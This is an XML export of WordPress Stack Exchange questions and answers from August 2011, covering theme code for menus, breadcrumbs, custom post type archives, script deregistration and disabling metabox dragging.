  <row Id="24802" PostTypeId="2" ParentId="24800" CreationDate="2011-08-03T13:54:41.383" Score="0" ViewCount="" Body="&lt;p&gt;Goto&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Appearance -&gt; Menus&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;You can see all categories listed here including wp-ecommerce categories.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just create a new menu for your wp-ecommerce categories. Lets call it &quot;ecomcategories&quot;. You can call this menu in your theme using this code.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php wp_nav_menu( array('menu' =&amp;gt; 'ecomcategories' )); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can just drag and drop for sub menus. &#xA;You can create unlimited menus and submenus.&lt;/p&gt;&#xA;" OwnerUserId="5074" LastActivityDate="2011-08-03T13:54:41.383" CommentCount="1" />
  <row Id="24803" PostTypeId="2" ParentId="21642" CreationDate="2011-08-03T14:04:24.243" Score="2" ViewCount="" Body="&lt;p&gt;This is a bug in the Register Plus Redux and has nothing to do with other plugins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Normally when you register with normal wordpress, it sends you a temporary password that you can modify after.. what happens with RPR is it sends you by email the temporary password generated by wordpress but puts in the database the password you have registred with! causing this bug.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I advise you to disable this plugin now while waiting for an update from author.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.org/support/topic/register-plus-redux-emails-wrong-password?replies=6#post-2079201&quot; rel=&quot;nofollow&quot;&gt;some users&lt;/a&gt; advised to edit the file &lt;em&gt;register-plus-redux.php&lt;/em&gt; but this is risky since when plugin is updated it will overwrite your edits.&lt;/p&gt;&#xA;" OwnerUserId="7515" LastActivityDate="2011-08-03T14:04:24.243" />
  <row Id="24804" PostTypeId="1" CreationDate="2011-08-03T14:08:25.940" Score="0" ViewCount="38" Body="&lt;p&gt;I´m trying to create a function that creates a breadcrumb trail of &lt;em&gt;Page&lt;/em&gt; slugs outside of The Loop. These breadcrumbs show the path from the homepage to the current (sub)page. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, on the page &quot;example.com/attractions/parcs/parc-name&quot; this breadcrumb would be shown: &lt;strong&gt;Home &gt; Attractions &gt; Parcs &gt; Parc Name&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I´ve done a lot of research and found various code snippets that can perform part of the function, but my PHP skills are not good enough to create the whole function myself. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is what I have: &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Get the post slug in The Loop: &lt;code&gt;$slug = basename(get_permalink());&lt;/code&gt;&#xA;(&lt;a href=&quot;http://www.joshstauffer.com/get-post-slug-in-wordpress/&quot; rel=&quot;nofollow&quot;&gt;src&lt;/a&gt;) &lt;/li&gt;&#xA;&lt;li&gt;Get the post slug outside of The Loop: &lt;code&gt;global $post; echo&#xA;$post-&amp;gt;post_name;&lt;/code&gt; (src: see above)&lt;/li&gt;&#xA;&lt;li&gt;Get posts´parent slug &lt;code&gt;&amp;lt;?php&#xA;global $post;&#xA;if($post-&amp;gt;post_parent) { $post_data = get_post($post-&amp;gt;post_parent);&#xA;echo $post_data-&amp;gt;post_name; }&#xA;?&amp;gt;&lt;/code&gt; (&lt;a href=&quot;http://wordpress.org/support/topic/get-pages-parents-slug-post_name&quot; rel=&quot;nofollow&quot;&gt;src&lt;/a&gt;)&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Get breadcrumb trail of pages using page titles (this is what I´m using now): &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ( is_page() ) &#xA;{&#xA;  $post = $wp_query-&amp;gt;get_queried_object();&#xA;  if ( $post-&amp;gt;post_parent == 0 )&#xA;  { &#xA;    echo &quot;&amp;lt;li&amp;gt; &amp;amp;raquo; &quot;.the_title('','', FALSE).&quot;&amp;lt;/li&amp;gt;&quot;; &#xA;  } &#xA;  else &#xA;  {&#xA;    $title = the_title('','', FALSE);&#xA;    $ancestors = array_reverse( get_post_ancestors( $post-&amp;gt;ID ) );&#xA;    array_push($ancestors, $post-&amp;gt;ID);&#xA;    foreach ( $ancestors as $ancestor )&#xA;    {&#xA;      if( $ancestor != end($ancestors) )&#xA;      {&#xA;        echo '&amp;lt;li&amp;gt; &amp;amp;raquo; &amp;lt;a href=&quot;'. get_permalink($ancestor) .'&quot;&amp;gt;'. strip_tags( apply_filters( 'single_post_title', get_the_title( $ancestor ) ) ) .'&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;';&#xA;      } &#xA;      else &#xA;      {&#xA;        echo '&amp;lt;li&amp;gt; &amp;amp;raquo; '. strip_tags( apply_filters( 'single_post_title', get_the_title( $ancestor ) ) ) .'&amp;lt;/li&amp;gt;';&#xA;      }&#xA;    }&#xA;  }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;All ideas, suggestions and solutions are very much appreciated :) &lt;/p&gt;&#xA;" OwnerUserId="7584" LastActivityDate="2011-09-04T03:41:51.133" Title="Slugs as breadcrumbs for Pages" Tags="&lt;functions&gt;&lt;page&gt;&lt;pages&gt;&lt;slug&gt;&lt;breadcrumb&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="24805" PostTypeId="2" ParentId="24788" CreationDate="2011-08-03T14:10:31.067" Score="1" ViewCount="" Body="&lt;p&gt;you can use &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/has_term&quot; rel=&quot;nofollow&quot;&gt;has_term&lt;/a&gt; to check if a post as a term which that is what &quot;business directory categories&quot; are (custom taxonomy terms).&#xA;something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (has_term( $term, $taxonomy, $post_id )){&#xA;//do your thing&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;if you want to check if you are in a specific term ( like &lt;code&gt;is_category&lt;/code&gt;) you can use &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/is_tax&quot; rel=&quot;nofollow&quot;&gt;is_tax&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (is_tax( $taxonomy, $term )){&#xA;//do stuff&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;if you want to check if your object (post) is in a specific term ( like &lt;code&gt;in_category&lt;/code&gt;) you can use &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/is_object_in_term&quot; rel=&quot;nofollow&quot;&gt;is_object_in_term()&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (is_object_in_term( $object_id, $taxonomy, $terms) ){&#xA;//do stuff&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-08-03T14:10:31.067" />
  <row Id="24807" PostTypeId="2" ParentId="24799" CreationDate="2011-08-03T14:17:11.590" Score="1" ViewCount="" Body="&lt;p&gt;you can use simple one liner with  &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/remove_post_type_support&quot; rel=&quot;nofollow&quot;&gt;remove_post_type_support()&lt;/a&gt; :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;remove_post_type_support( 'post', 'editor' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-08-03T14:17:11.590" CommentCount="2" />
  <row Id="24808" PostTypeId="1" AcceptedAnswerId="24813" CreationDate="2011-08-03T14:20:52.867" Score="0" ViewCount="92" Body="&lt;p&gt;I have created a custom post type in wordpress and have 90% of the functionality working correctly, but I am having a bit of trouble trying to create a custom listing page template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Currently it is using the default index.php page to bring out all the posts and I have tried to override this by creating a page-post-type.php page but didn't seem to work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What would be the best method for creating a custom post type listing page?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cheers,&#xA;Jamie.&lt;/p&gt;&#xA;" OwnerUserId="7583" LastActivityDate="2011-08-03T14:54:00.780" Title="List page for custom post type?" Tags="&lt;custom-post-types&gt;&lt;php&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="24810" PostTypeId="1" CreationDate="2011-08-03T14:34:20.130" Score="0" ViewCount="26" Body="&lt;p&gt;I have created a &quot;custom link&quot; under Menus (&lt;a href=&quot;https://skitch.com/chirag/fpjx5/url-in-menu&quot; rel=&quot;nofollow&quot;&gt;screenshot&lt;/a&gt;). The problem is that URL in the browser retains the Wordpress URL (http://blog.tabsonrahm.org) instead of the linked URL (http://tabsonrahm.org/about). When I click a custom menu link, how do I make it update the URL in the browser to the external link? Thanks.&lt;/p&gt;&#xA;" OwnerUserId="7483" LastActivityDate="2011-09-02T19:39:58.750" Title="When I click a custom menu link, how do I make it update the URL in the browser to the external link?" Tags="&lt;custom-menus&gt;&lt;urls&gt;" AnswerCount="1" />
  <row Id="24812" PostTypeId="1" CreationDate="2011-08-03T14:52:50.657" Score="0" ViewCount="78" Body="&lt;p&gt;Here is what I need to do with 5 columns on the &quot;archive&quot; page:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can already loop through the categories and posts in a loop to display them quite nicely, I just cant figure out how to split it into columns.  I also need it to be paged.  Basically show only 18 post titles/excerpts per page.  Any help?  My loop below:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE: I am posted the working solution below.  This works perfectly to break a continuous loop of posts sorted and displayed by category of any type or taxonomy.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;WHAT STILL NEEDS WORK:&lt;/strong&gt; I cannot seem to figure out how to make the paging work.  I need the paging to count total posts (ignoring the categories) and display only 12 or so per page.  I have added the paging code but it is commented out.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;// for a given post type, return all&#xA;        $post_type = 'retailers';&#xA;        $tax = 'states';&#xA;        $tax_terms = get_terms($tax);&#xA;        $post_counter = 0; // reset so we can generate columns &#xA;        $paged = (get_query_var('paged')) ? get_query_var('paged') : 1;&#xA;&#xA;            if ($tax_terms) { ?&amp;gt;&#xA;&#xA;            &amp;lt;ul class=&quot;column_wrap&quot; style=&quot;margin:0 10px; padding:0; width:165px; float:left;&quot;&amp;gt;&#xA;&#xA;            &amp;lt;?php foreach ($tax_terms as $tax_term) {&#xA;                 $args=array(&#xA;                'post_type' =&amp;gt; $post_type,&#xA;                &quot;$tax&quot; =&amp;gt; $tax_term-&amp;gt;slug,&#xA;                'post_status' =&amp;gt; 'publish',&#xA;                'posts_per_page' =&amp;gt; -1,&#xA;              //'posts_per_page' =&amp;gt; 15,&#xA;              //'paged' =&amp;gt; $paged,&#xA;                'orderby' =&amp;gt; 'title',&#xA;                'order' =&amp;gt; 'ASC',&#xA;                'caller_get_posts'=&amp;gt; 1&#xA;                ); // END $args&#xA;&#xA;                $my_query = null; // clear the query variable&#xA;                $my_query = new WP_Query($args);&#xA;&#xA;                if( $my_query-&amp;gt;have_posts() ) { ?&amp;gt;&#xA;&#xA;                      &amp;lt;li class=&quot;column_row&quot; style=&quot;float:left;&quot;&amp;gt;&#xA;&#xA;                        &amp;lt;div class=&quot;retailer_state_wrap&quot; style=&quot;width:165px; float:left;&quot;&amp;gt;&#xA;                            &amp;lt;h4&amp;gt;&amp;lt;?php echo $tax_term-&amp;gt;name; ?&amp;gt;&amp;lt;/h4&amp;gt;&#xA;                        &amp;lt;/div&amp;gt;&#xA;&#xA;                      &amp;lt;/li&amp;gt;&#xA;&#xA;        &amp;lt;?php while ($my_query-&amp;gt;have_posts()) : $my_query-&amp;gt;the_post(); ?&amp;gt;&#xA;                      &amp;lt;li class=&quot;column_row&quot; style=&quot;float:left;&quot;&amp;gt;&#xA;&#xA;                          &amp;lt;div class=&quot;retailer_wrap retailer_id-&amp;lt;?php the_ID(); ?&amp;gt;&quot; style=&quot;padding:0; width:165px; float:left;&quot;&amp;gt;&#xA;                            &amp;lt;p&amp;gt;&#xA;                              &amp;lt;span class=&quot;retailer_title&quot;&amp;gt;&amp;lt;?php the_title(); ?&amp;gt;&amp;lt;/span&amp;gt;&amp;lt;br /&amp;gt;&#xA;                              &amp;lt;span class=&quot;retailer_address&quot;&amp;gt;&#xA;                                &amp;lt;?php if (get_post_meta($post-&amp;gt;ID, '_simple_fields_fieldGroupID_1_fieldID_2_numInSet_0', true)) { ?&amp;gt;&#xA;                                  &amp;lt;?php echo get_post_meta($post-&amp;gt;ID, '_simple_fields_fieldGroupID_1_fieldID_2_numInSet_0', true); ?&amp;gt;&#xA;                                &amp;lt;?php } ?&amp;gt;&#xA;                                &amp;lt;?php echo &quot; &quot;; ?&amp;gt;&#xA;                                &amp;lt;?php if (get_post_meta($post-&amp;gt;ID, '_simple_fields_fieldGroupID_1_fieldID_1_numInSet_0', true)) { ?&amp;gt;&#xA;                                  &amp;lt;?php echo get_post_meta($post-&amp;gt;ID, '_simple_fields_fieldGroupID_1_fieldID_1_numInSet_0', true); ?&amp;gt;&#xA;                                &amp;lt;?php } ?&amp;gt;&#xA;                              &amp;lt;/span&amp;gt;&amp;lt;br /&amp;gt;&#xA;                              &amp;lt;span class=&quot;retailer_phone&quot;&amp;gt;                               &#xA;                                &amp;lt;?php if (get_post_meta($post-&amp;gt;ID, '_simple_fields_fieldGroupID_2_fieldID_3_numInSet_0', true)) {&#xA;                                  echo get_post_meta($post-&amp;gt;ID, '_simple_fields_fieldGroupID_2_fieldID_3_numInSet_0', true); ?&amp;gt;&#xA;                                &amp;lt;?php } ?&amp;gt;&#xA;                              &amp;lt;/span&amp;gt;    &#xA;                            &amp;lt;/p&amp;gt;                                          &#xA;                          &amp;lt;/div&amp;gt;&#xA;                          &amp;lt;?php $post_counter++; ?&amp;gt;&#xA;                        &amp;lt;/li&amp;gt;&#xA;&#xA;                        &amp;lt;?php if ( 0 == $post_counter % 7 ) { ?&amp;gt;&#xA;                          &amp;lt;/ul&amp;gt;&#xA;                          &amp;lt;ul class=&quot;column_wrap&quot; style=&quot;margin:0 10px; padding:0; width:165px; float:left;&quot;&amp;gt;&#xA;                        &amp;lt;?php } ?&amp;gt;&#xA;                      &amp;lt;?php&#xA;                      endwhile;&#xA;                      //wp_pagenavi( array( 'query' =&amp;gt; $my_query ) ); &#xA;                    } // END if have_posts loop&#xA;                    wp_reset_query();&#xA;&#xA;                  } // END foreach $tax_terms&#xA;                } // END if $tax_terms&#xA;                ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7588" LastEditorUserId="251" LastEditorDisplayName="" LastEditDate="2011-08-10T00:13:12.133" LastActivityDate="2011-08-10T00:13:12.133" Title="split wordpress loop into columns of categories and associated posts" Tags="&lt;pagination&gt;&lt;loop&gt;&lt;columns&gt;&lt;loops&gt;" AnswerCount="1" />
  <row Id="24813" PostTypeId="2" ParentId="24808" CreationDate="2011-08-03T14:54:00.780" Score="1" ViewCount="" Body="&lt;p&gt;I think you want to create archive page for custom post type, create &lt;code&gt;archive-{post_type}.php&lt;/code&gt; and it'll display you custom post type content. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also see codex: &lt;a href=&quot;http://codex.wordpress.org/Template_Hierarchy#Custom_Post_Types_display&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Template_Hierarchy#Custom_Post_Types_display&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="888" LastActivityDate="2011-08-03T14:54:00.780" CommentCount="1" />
  <row Id="24815" PostTypeId="2" ParentId="24710" CreationDate="2011-08-03T14:57:32.717" Score="0" ViewCount="" Body="&lt;p&gt;The following code will deregister the scripts over my hole site when placed in the functions.php&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action( 'wp_print_scripts', 'my_deregister_javascript', 100 );&#xA;&#xA;function my_deregister_javascript() {&#xA;    wp_deregister_script('Cart66');&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But as soon as i add a condition statement I have trouble:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ($post-&amp;gt;ID == 66){&#xA;    add_action( 'wp_print_scripts', 'my_deregister_javascript', 100 );&#xA;}&#xA;&#xA;function my_deregister_javascript() {&#xA;    wp_deregister_script('Cart66');&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;none of the following returns as true even though I know they are true. can you test for these variables in the functions file or have they not been set yet?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (is_page(66)){&#xA;}&#xA;&#xA;if(is_page('booking-from')){&#xA;&#xA;}&#xA;&#xA;if($post-&amp;gt;ID == 66){&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7557" LastActivityDate="2011-08-03T14:57:32.717" CommentCount="1" />
  <row Id="24816" PostTypeId="2" ParentId="24698" CreationDate="2011-08-03T15:05:00.277" Score="1" ViewCount="" Body="&lt;p&gt;Just passing on my solution in case it's of any help to anyone. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm still not completely sure what happened, but after disabling all plugins and eventually trying a completely separate, vanilla install on my localhost, I determined that something had gone wrong in the theme files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was able to fix the issues by downloading a fresh copy of the Twenty Eleven theme and installing it. The child theme was untouched and working fine. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;As soon as I did this, my custom fields appeared without any further problems.&lt;/p&gt;&#xA;" OwnerUserId="7550" LastActivityDate="2011-08-03T15:05:00.277" />
  <row Id="24817" PostTypeId="2" ParentId="24812" CreationDate="2011-08-03T15:06:53.457" Score="0" ViewCount="" Body="&lt;p&gt;What you will need to do is loop through an array of category IDs. For example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$categories = get_categories();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then loop through the categories, and use the category id in your query_posts:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;foreach($categories as $category) {&#xA;    $args = array(&#xA;    'cat' = $category-&amp;gt;ID&#xA;    )&#xA;    // return your loop here...&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Or something... assuming I understand your question.&lt;/p&gt;&#xA;" OwnerUserId="5412" LastActivityDate="2011-08-03T15:06:53.457" CommentCount="3" />
  <row Id="24819" PostTypeId="2" ParentId="2474" CreationDate="2011-08-03T15:11:15.040" Score="0" ViewCount="" Body="&lt;p&gt;I noticed this question has remain unaswered, insofar as the asker not selecting a correct answer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Jan gave a working example of stopping the metabox re-ordering being saved over Ajax, whilst others gave suggestions relating to the JS. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;As far as i understand it all you want to do is disable dragging, nothing more. To do that you'll need two things, firstly a function to intercept the ajax saving action, but secondly you also need to stop the JS dragging and dropping without killing of functionality anywhere else in the page, whilst also being to do it selectively for a post type or particular metabox.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using Jans function and some jQuery we can do that without totally killing other functionality the postbox script creates, like so..&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;PHP Code for theme functions file or plugin file&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;Uncomment 1 of the appropriate lines to make the enqueue work.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action( 'admin_enqueue_scripts' , 'disable_metabox_dragging' );&#xA;add_action( 'check_ajax_referer',     'disable_metabox_ordering' );&#xA;&#xA;function disable_metabox_dragging( $hook ) {&#xA;&#xA;    if( !in_array( $hook, array( 'post.php', 'post-new.php' ) ) )&#xA;        return;&#xA;&#xA;    global $post_type;&#xA;    if( !in_array( $post_type, array( 'book' ) ) )&#xA;        return;&#xA;&#xA;    // Uncomment the following line if using inside a child theme&#xA;    //wp_enqueue_script( 'unsortable-meta', trailingslashit( get_stylesheet_directory_uri() ) . 'unsortable-metaboxes.js', array(), false );&#xA;&#xA;    // Or uncomment the following line if using inside a parent theme&#xA;    //wp_enqueue_script( 'unsortable-meta', trailingslashit( get_template_directory_uri() ) . 'unsortable-metaboxes.js', array(), false );&#xA;&#xA;    // Or ncomment the following line if using inside a plugin file&#xA;    //wp_enqueue_script( 'unsortable-meta', plugins_url( '/unsortable-metaboxes.js', __FILE__ ), array(), false );&#xA;}&#xA;&#xA;function disable_metabox_ordering($action) {&#xA;&#xA;    global $post_type;&#xA;    if( !in_array( $post_type, array( 'book' ) ) )&#xA;        return;&#xA;&#xA;    if( 'meta-box-order' == $action )&#xA;        die;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h1&gt;jQuery/JS for the Javascript file referenced in the above&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;Very basic jquery that removes the metabox sortable class from appliable elements, this prevents the dragging.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;jQuery(document).ready(function($){&#xA;    $('.meta-box-sortables').removeClass('meta-box-sortables');&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As you can see i've added in 1 example post type to add the code, book in this case. However you mentioned wanting to also have the possibility of disabling it for specific metaboxes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It can be done, there's just a few small side-effects one of those being, that by removing classes from given metaboxes to prevent dragging, you do also prevent the toggle function working(ie. the metabox title toggle functionality). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;That said, it can be done...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First, you'd update the &lt;code&gt;disable_metabox_dragging&lt;/code&gt; function to..&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function disable_metabox_dragging( $hook ) {&#xA;&#xA;    if( !in_array( $hook, array( 'post.php', 'post-new.php' ) ) )&#xA;        return;&#xA;&#xA;    global $post_type;&#xA;    if( !in_array( $post_type, array( 'book' ) ) )&#xA;        return;&#xA;&#xA;    // Uncomment the following line if using inside a child theme&#xA;    // wp_enqueue_script( 'some-unsortables', trailingslashit( get_stylesheet_directory_uri() ) . 'unsortable-somemetaboxes.js', array('postbox') );&#xA;&#xA;    // Or uncomment the following line if using inside a parent theme&#xA;    //wp_enqueue_script( 'some-unsortables', trailingslashit( get_template_directory_uri() ) . 'unsortable-somemetaboxes.js', array('postbox') );&#xA;&#xA;    // Or uncomment the following line if using inside a plugin file&#xA;    //wp_enqueue_script( 'some-unsortables', plugins_url( '/unsortable-somemetaboxes.js', __FILE__ ), array('postbox') );&#xA;&#xA;    wp_localize_script( 'some-unsortables', 'NonDragMetaboxes', array( 0 =&amp;gt; '', 'postcustom', 'postexcerpt' ) );&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Again, noting you need to uncomment the applicable &lt;code&gt;wp_enqueue_script&lt;/code&gt; line.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The array inside the localize call is what determines which metaboxes to disable, the empty 0 keyed item is there purposely because the localize script function strips any 0 keyed indexes in the array.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Second, the new JS file referenced in the above tweaked enqueue function.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;jQuery(document).ready(function($){&#xA;    // For each item in the JS array created by the localize call&#xA;    $.each( NonDragMetaboxes, function(index,value) {&#xA;&#xA;        // Remove postbox class(disables drag) and add stuffbox class(styling is close to the original)&#xA;        $( '#' + value ).removeClass('postbox').addClass('stuffbox');&#xA;&#xA;        // Remove redundant handle div&#xA;        if( $( '#' + value ).has('.handlediv') )&#xA;            $( '#' + value ).children('.handlediv').remove();&#xA;&#xA;        // Remove redundant cursor effect on hover&#xA;        if( $( '#' + value ).has('h3') )&#xA;            $( '#' + value ).children('h3').css('cursor','default');&#xA;    } );&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Only thing you need do is determine the ID for the metaboxes you want to hide, and pass them into the array that sets the disabled metaboxes(in the &lt;code&gt;wp_localize_scipt&lt;/code&gt; call).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Overall i don't think selectively disabling metaboxes is short of drawbacks, there's just no support to re-config the sortable init action in WordPress, so disabling metabox sorting on a per element basis is going to be hacky at best(my code above is evidence of that). Ideally, what's needed here is an action in WordPress to hook the sortable init, but that's currently hardcoded into the postbox javascript(which does more than just setup sortable).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In any case, i hope that's helped address the original question.&lt;/p&gt;&#xA;" OwnerUserId="1468" LastActivityDate="2011-08-03T15:11:15.040" />
  <row Id="24820" PostTypeId="2" ParentId="24769" CreationDate="2011-08-03T15:27:28.167" Score="0" ViewCount="" Body="&lt;p&gt;If the image loads directly from photodharma.net, but not from records.photodharma.net, then I suspect that you might have hotlinking disabled.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do you have any hotlinking-prevention rules your .htaccess file? Do you have any Plugins active that are preventing hotlinking.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; if the issue &lt;em&gt;is&lt;/em&gt; hotlinking prevention, you will need to check .htaccess and Plugins on &lt;strong&gt;photodharma.net&lt;/strong&gt;, &lt;em&gt;not&lt;/em&gt; on records.photodharma.net.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you've got no hotlink protection anywhere, then the next likely culprit is file/folder permissions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;What are the permissions on &lt;code&gt;http://www.photodharma.net/Blog/images/&lt;/code&gt;?&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="3966" LastEditorUserId="3966" LastEditorDisplayName="" LastEditDate="2011-08-04T02:53:07.187" LastActivityDate="2011-08-04T02:53:07.187" CommentCount="5" />
  <row Id="24821" PostTypeId="1" AcceptedAnswerId="24827" CreationDate="2011-08-03T15:33:05.540" Score="1" ViewCount="39" Body="&lt;p&gt;Is it possible to create a month by month archive of pages? I know it can be done with posts but I want to do it with pages.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want it to take the date the page was published so if the page was published in August then it would create a link called &quot;August&quot; which in turn when clicked will show all the pages within August.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is that possible?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or is there a better way I can categorise my pages to show them month by month?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;UPDATE:&#xA;I use this plugin - &lt;a href=&quot;http://wordpress.org/extend/plugins/advanced-custom-fields&quot; rel=&quot;nofollow&quot;&gt;wordpress.org/extend/plugins/advanced-custom-fields&lt;/a&gt;. Is there any way I could do it with pages? Is there any fields I could add to a page that could help me hack together an archive?&lt;/p&gt;&#xA;" OwnerUserId="4588" LastEditorUserId="4588" LastEditorDisplayName="" LastEditDate="2011-08-08T15:25:20.863" LastActivityDate="2011-08-08T15:25:20.863" Title="Create a month by month archive of pages (not posts)" Tags="&lt;archive&gt;" AnswerCount="2" />
  <row Id="24822" PostTypeId="2" ParentId="24716" CreationDate="2011-08-03T15:37:23.363" Score="0" ViewCount="" Body="&lt;p&gt;Perhaps &lt;a href=&quot;http://wordpress.stackexchange.com/users/205/scribu&quot;&gt;Scribu&lt;/a&gt;'s &lt;a href=&quot;http://wordpress.org/extend/plugins/term-management-tools/&quot; rel=&quot;nofollow&quot;&gt;Term Management Tools&lt;/a&gt; would be of use to you here, it does various tasks including bulk term management.&lt;/p&gt;&#xA;" OwnerUserId="2962" LastActivityDate="2011-08-03T15:37:23.363" CommentCount="2" />
  <row Id="24823" PostTypeId="2" ParentId="24304" CreationDate="2011-08-03T15:38:13.727" Score="0" ViewCount="" Body="&lt;p&gt;Try this. Disable permalinks, then re-enable them. &lt;/p&gt;&#xA;" OwnerUserId="7591" LastActivityDate="2011-08-03T15:38:13.727" />
  <row Id="24824" PostTypeId="1" AcceptedAnswerId="24825" CreationDate="2011-08-03T15:42:23.253" Score="0" ViewCount="25" Body="&lt;p&gt;I'd like a lightweight way to figure out what is invoking a certain action in an effort to provide logic for certain scenarios where I can't help to avoid a function invocation (for example, a new comment firing &lt;code&gt;edit_post&lt;/code&gt;). Is there a way to figure out which action/filter invoked a function?&lt;/p&gt;&#xA;" OwnerUserId="1860" LastActivityDate="2011-08-03T15:44:31.350" Title="Is there a way to figure out which action/filter invoked a function?" Tags="&lt;plugins&gt;&lt;filters&gt;&lt;actions&gt;" AnswerCount="1" />
  <row Id="24825" PostTypeId="2" ParentId="24824" CreationDate="2011-08-03T15:44:31.350" Score="4" ViewCount="" Body="&lt;p&gt;Sure, just use &lt;code&gt;current_filter()&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="205" LastActivityDate="2011-08-03T15:44:31.350" CommentCount="4" />
